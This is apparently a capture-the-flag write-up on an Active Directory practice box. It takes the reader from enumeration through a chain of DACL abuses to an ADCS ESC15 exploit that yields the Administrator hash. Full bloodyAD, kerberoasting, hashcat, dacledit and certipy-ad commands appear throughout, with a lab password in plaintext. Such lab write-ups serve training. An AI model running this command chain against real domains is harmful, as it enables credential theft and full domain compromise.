# Lessons Learned - Always enumerate existence of ADCS - If enabled, follow-up with `certipy-ad find` and `certipy-ad find [xxx] -vulnerable -stdout` (if we have a privileged user) - Also use cypher query to enumerate cert enrollment info - Use `faketime` with `certipy-ad` and kerberos-related commands when there's a significant clock skew - NOTE: Look for deleted users that can be restored from the Recycle Bin - Take time to map out attack chain when there's a complex sequence of DACL abuses - For remote AD enum, use `RustHound-CE` over `python-bloodhound` - `RustHound-CE` enumerates certificate info, whilst `python-bloodhound` does not - If bloodhound ingestion fails when using a ZIP, try uploading the individual JSON files - Rerun bloodhound ingestor once we are on the DC or a domain-joined host with `SharpHound` - `SharpHound` this provides higher fidelity info - Use `PowerView` to manually enumerate/confirm sketchy or problematic DACLs and objects --- # BLUF - ADCS heavy box with ESC15 - After failing to turn up any fruitful attack vectors from HTTP and SMB enum, run `bloodhound.py` using given creds for henry - This provides us with a long attack sequence from henry -> Alfred -> Ansible_Dev$ -> sam -> john - john is a member of `Remote Management Users`, which enables an interactive shell on the box via `evil-winrm` - This gives use `user.txt` - john has GenericAll over the ADCS OU - I bang my head against the wall here trying to use this to privesc to Domain Admins or the like - ADCS has no associated objects - Enumerate ADCS info with `certipy-ad find` - We see a SID that cannot resolve to a name - Run `SharpHound` for improved visibility - Restore `cert_admin` user from Recycle Bin > was wondering why the box was named tombwatcher - Set new password for `cert_admin` given john's GenericAll rights - Enumerate ADCS vulns as `cert_admin` user with `certipy-ad find [xxx] -vulnerable -stdout` - Exploit the ESC15 vuln to grab nthash for Administrator --- # Discover Ports & Services - add given creds to `creds.txt` for easy reference - `ping` test ![[images/Pasted image 20260315194806.png]] - `nmap` scan - light ![[images/Pasted image 20260315195016.png]] - Maybe a DC? But, no port 88 - kerberos - `nmap` scan - detailed ![[images/Pasted image 20260315195413.png]] - Note: domain = `tombwatcher.htb` and DC = `DC01.tombwatcher.htb` - Update `/etc/hosts` with this info - Note: clock skew = 4 hours --- # Service Enum ## Port 80: IIS - Visit website > default IIS ![[images/Pasted image 20260315195655.png]] - No `robots.txt`; no `sitemap.xml` - `whatweb` scan ![[images/Pasted image 20260315201640.png]] - `nikto` scan ![[images/Pasted image 20260315202951.png]] - Web fuzzing - Directory - raft-medium ![[images/Pasted image 20260315200041.png]] - `aspnet_client` is a 404 error - 2.3-medium ![[images/Pasted image 20260315200851.png]] - subdomain - 5000 ![[images/Pasted image 20260315201030.png]] - 20000 ![[images/Pasted image 20260315201248.png]] - vhost - 5000 ![[images/Pasted image 20260315201452.png]] - 20000 ![[images/Pasted image 20260315201509.png]] ## Port 445: SMB - null auth ![[images/Pasted image 20260315200512.png]] - enumerate shares with given creds ![[images/Pasted image 20260315202600.png]] - `smbclient` - `NETLOGON` ![[images/Pasted image 20260315202901.png]] - `SYSVOL` ![[images/Pasted image 20260315202856.png]] - one interesting directory that we cannot reach - maybe come back to the `Policies` dir - `IPC
![[images/Pasted image 20260315203032.png]] ## Port 5985: WinRM - Able to connect but got an authorization error once command issued ![[images/Pasted image 20260315201337.png]] --- # AD Enum ## User Enum - Run `lookupsid.py` ![[images/Pasted image 20260315202105.png]] - create a `users.txt` ![[images/Pasted image 20260315202352.png]] - Run `enumdomusers` in `rpcclient` ![[images/Pasted image 20260315202437.png]] - matches up with the above - `nxc` users and rid-brute ![[images/Pasted image 20260315203130.png]] - Run `enum4linux-ng` ![[images/Pasted image 20260315204323.png]] - nothing new ## ASREP Roasting & Brute Forcing - Enumerate ASREP roasting ![[images/Pasted image 20260315203514.png]] - no dice - Enumerate password policy ![[images/Pasted image 20260315203335.png]] - Run `rockyou.txt` against our list of `users.txt` ```bash sudo nxc smb dc01.tombwatcher.htb -u users.txt -p /opt/rockyou.txt -d tombwatcher.htb --continue-on-success --ignore-pw-decoding | grep + ``` ## Bloodhound - Run ingestor - NOTE: clock skew was 4 hours ```bash sudo faketime "$(ntpdate -q 10.129.5.35 | cut -d ' ' -f 1,2)" python3 bloodhound.py -u henry -p "H3nry_987TGV!" -dc dc01.tombwatcher.htb -ns 10.129.5.35 -d tombwatcher.htb -c all --zip --use-ldaps ``` ![[images/Pasted image 20260315210729.png]] - Spin up docker container for bloodhound GUI ![[images/Pasted image 20260315210857.png]] - ADCS confirmation ![[images/Pasted image 20260315212440.png]] ### Attack Chain Prep - Look for shortest path from owned objects ![[images/Pasted image 20260315212015.png]] - `henry` can `writeSPN` for `alfred` - targeted kerberoast - `alfred` can `addself` to the `infrastructure` group - `infrastructure` group can `readGMSAPassword` for `Ansible_Dev
- `Ansible_Dev
can `forcechangepassword` for `sam` - `sam` is a `writeowner` for `john` - `john` has `genericall` over `ADCS` and is a member of `REMOTE MANAGEMENT USERS` ![[images/Pasted image 20260315214053.png]] --- # AD Attack Chain ## WriteSPN over Alfred in context of Henry - Enumerate DN for Alfred ```bash bloodyAD --dc-ip 10.129.5.35 -d tombwatcher.htb -u henry -p "H3nry_987TGV!" get object alfred ``` ![[images/Pasted image 20260316181715.png]] - Add SPN for Alfred - not working ```bash bloodyAD --dc-ip 10.129.5.35 -d tombwatcher.htb -u henry -p "H3nry_987TGV!" msldap addspn "CN=Alfred,CN=Users,DC=tombwatcher,DC=htb" pwn/tombwatccher.htb ``` - Try again with different syntax ```bash bloodyAD --dc-ip 10.129.5.35 -d tombwatcher.htb -u henry -p "H3nry_987TGV!" set object alfred servicePrincipalName -v 'pwn/tombwatcher.htb' ``` ![[images/Pasted image 20260316182340.png]] - Targeted kerberoast wrt Alfred ```bash faketime "$(ntpdate -q 10.129.5.35 | cut -d ' ' -f 1,2)" GetUserSPNs.py tombwatcher.htb/henry:"H3nry_987TGV!" -dc-ip 10.129.5.35 -request-user alfred -output alfred.hash ``` ![[images/Pasted image 20260316182705.png]] - Crack type 23 hash (RC4) - Cracked! Add to `creds.txt` ```bash hashcat -m 13100 alfred.hash /opt/rockyou.txt ``` ## AddSelf to Infrastructure group in context of Alfred - Add Alfred to Infrastructure group ```bash bloodyAD --dc-ip 10.129.5.35 -d tombwatcher.htb -u alfred -p <PASSWORD> add groupMember "Infrastructure" alfred ``` ![[images/Pasted image 20260316183002.png]] ## readGMSAPassword for Ansible_Dev$ in context of Alfred - Read password for `Ansible_Dev
- We have the NTLM hash for `Ansible_Dev
```bash bloodyAD --dc-ip 10.129.5.35 -d tombwatcher.htb -u alfred -p <password> get object Ansible_Dev$ --attr msDS-ManagedPassword ``` ![[images/Pasted image 20260316183443.png]] - Alternatively, we can also use `nxc` to to read the GMSA password ```bash nxc ldap TARGET -domain inlanefreight.local -u username -p password --gmsa ``` ## ForceChangePassword for sam in context of Ansible_Dev$ - Change password for sam ```bash bloodyAD --dc-ip 10.129.5.35 -d tombwatcher.htb -u Ansible_Dev$ -p aad3b435b51404eeaad3b435b51404ee:nthash set password sam "password" ``` ![[images/Pasted image 20260316184303.png]] ## WriteOwner over john in context of sam - Take ownership of john ```bash bloodyAD --dc-ip 10.129.5.35 -d tombwatcher.htb -u sam -p "password" set owner john sam ``` ![[images/Pasted image 20260316184404.png]] - Add GenericAll over john ```bash bloodyAD --dc-ip 10.129.5.35 -d tombwatcher.htb -u sam -p "password" add genericAll john sam ``` ![[images/Pasted image 20260316184606.png]] - Change password for john ```bash bloodyAD --dc-ip 10.129.5.35 -d tombwatcher.htb -u sam -p "password" set password john "password" ``` ![[images/Pasted image 20260316184655.png]] ## GenericAll over OU in context of john - Identify DN (distinguished name) for OU - Add ACE to OU granting john GenericAll over all descendant objects ```bash bloodyAD --dc-ip 10.129.5.35 -d tombwatcher.htb -u john -p "password" add genericAll "OU=ADCS,DC=tombwatcher,DC=htb" john --inheritance true ``` ![[images/Pasted image 20260316185042.png]] - Add john to Domain Admins group ```bash bloodyAD --dc-ip 10.129.5.35 -d tombwatcher.htb -u john -p "password" add groupMember "Domain Admins" john ``` - Keep getting insufficient privs error > maybe the GenericAll ACE was not inherited by the object associated with the Domain Admins group? - Manually enumerate john's ACLs --- # Evil-WinRM as john - Because john is a member of Remote Mgmt Users, connect with `evil-winrm` and collect `user.txt` ``` evil-winrm -i 10.129.5.35 -u john -p password ``` - Run `whoami /all` ![[images/Pasted image 20260316195039.png]] ## PowerView ACL Enum - Next upload `PowerView.ps1` ```powershell upload /opt/PowerView.ps1 . ``` ![[images/Pasted image 20260316195106.png]] - Import module and enumerate ACLs for john ```powershell Import-Module .\PowerView.ps1 $sid = Convert-NameToSid john Get-DomainObjectACL -Identity * | ? {$_.SecurityIdentifier -eq $sid} ``` ![[images/Pasted image 20260316200648.png]] ## SharpHound - Move `SharpHound.exe` onto target ```powershell upload /opt/SharpHound/SharpHound.exe . ``` - Collect LDAP data ```powershell ./SharpHound.exe -d tombwatcher.htb --collectionmethods=all --zipfilename=out.zip ``` - Move output to Kali ``` download 20260317000504_out.zip ``` - Review john outbound object control ![[images/Pasted image 20260316201243.png]] - Look at hint for "Generic Descendant Object Takeover" ![[images/Pasted image 20260316201332.png]] - Review john's execution privs ![[images/Pasted image 20260316201713.png]] - john has CanPSRemote, but we need an interactive session on a domain-joined box and we cannot RDP onto the box to make use of this because port 3389 is not open ## Attempt Generic Descendant Object Takeover - Run `dacledit.py` - This applies a GenericAll ACE on the OU that will inherit down to all object types ```bash dacledit.py -action 'write' -rights 'FullControl' -inheritance -principal 'john' -target-dn 'OU=ADCS,DC=tombwatcher,DC=htb' 'tombwatcher.htb'/'john':'password' ``` - Enumerate ACLs for john again ```powershell Get-DomainObjectACL -Identity * | ? {$_.SecurityIdentifier -eq $sid} ``` ![[images/Pasted image 20260316202650.png]] - Run `SharpHound` again to see how things changed - Pretty much the same > Feel like we are going in circles --- # ADCS Enum - Run `certipy-ad find` - Note: `tombwatcher-CA-1` ```bash certipy-ad find -target dc01.tombwatcher.htb -u john -p password ``` ![[images/Pasted image 20260316204525.png]] - Failure to lookup one object? - Use `get-ADObject` to enumerate this curiosity - Nothing ```powershell Import-Module ActiveDirectory Get-Command Get-ADObject #confirm importation Get-ADObject -Identity "S-1-5-21-1392491010-1358638721-2126982587-1111" ``` ![[images/Pasted image 20260316205050.png]] - Check AD recycle bin to see if this object was deleted ```powershell Get-ADOptionalFeature 'Recycle Bin Feature' Get-ADObject -Filter 'isdeleted -eq $true -and name -ne "Deleted Objects" -and objectSID -like "S-1-5-21-1392491010-1358638721-2126982587-1111"' -IncludeDeletedObjects -Properties samaccountname,displayname,objectsid ``` - Recover `cert_admin` and confirm ```powershell Restore-ADObject -Identity 938182c3-bf0b-410a-9aaa-45c8e1a02ebf Get-ADUser cert_admin ``` ![[images/Pasted image 20260316205730.png]] - Set new password for `cert_admin` - Note: Because john has GenericAll over ADCS, we could also perform a shadow creds attach on `cert_admin` ```powershell Set-ADAccountPassword cert_admin -NewPassword (ConvertTo-SecureString 'password!' -AsPlainText -Force) ``` ![[images/Pasted image 20260316205830.png]] - Confirm new password ![[images/Pasted image 20260316205940.png]] - View ADCS vulns with `cert_admin` ```bash certipy-ad find -target dc01.tombwatcher.htb -u cert_admin -p 'password!' -vulnerable -stdout ``` - Looks like we have an ESC15 vuln ![[images/Pasted image 20260316210250.png]] --- # Exploit ESC15 Vuln - See https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc15-arbitrary-application-policy-injection-in-v1-templates-cve-2024-49019-ekuwu - Step 1, request cert for `[email protected]` with WebServer template - Note: This cert is given the agent property as opposed to the ability to authenticate because it will not be used directly to authenticate but will be used below to request a ticket ```bash sudo faketime "$(ntpdate -q 10.129.5.35 | cut -d ' ' -f 1,2)" certipy-ad req -u cert_admin -p 'password!' -dc-ip 10.129.5.35 -target dc01.tombwatcher.htb -ca tombwatcher-CA-1 -template WebServer -upn [email protected] -application-policies 'Certificate Request Agent' ``` ![[images/Pasted image 20260316211433.png]] - Step 2, use pfx to request ticket for Administrator with User template (i.e., meant for authentication/login) ```bash sudo faketime "$(ntpdate -q 10.129.5.35 | cut -d ' ' -f 1,2)" certipy-ad req -u cert_admin -p 'password!' -dc-ip 110.129.5.35 -target dc01.tombwatcher.htb -ca tombwatcher-CA-1 -template User -pfx administrator.pfx -on-behalf-of 'tombwatcher\Administrator' ``` ![[images/Pasted image 20260316211846.png]] - Step 3, authenticate with ticket for Administrator ```bash sudo faketime "$(ntpdate -q 10.129.5.35 | cut -d ' ' -f 1,2)" certipy-ad auth -pfx administrator.pfx -dc-ip 10.129.5.35 ``` ![[images/Pasted image 20260316211857.png]] - Step 4, PtH for `[email protected]` with `evil-winrm` ```bash evil-winrm -i 10.129.5.35 -u Administrator -H nthash ```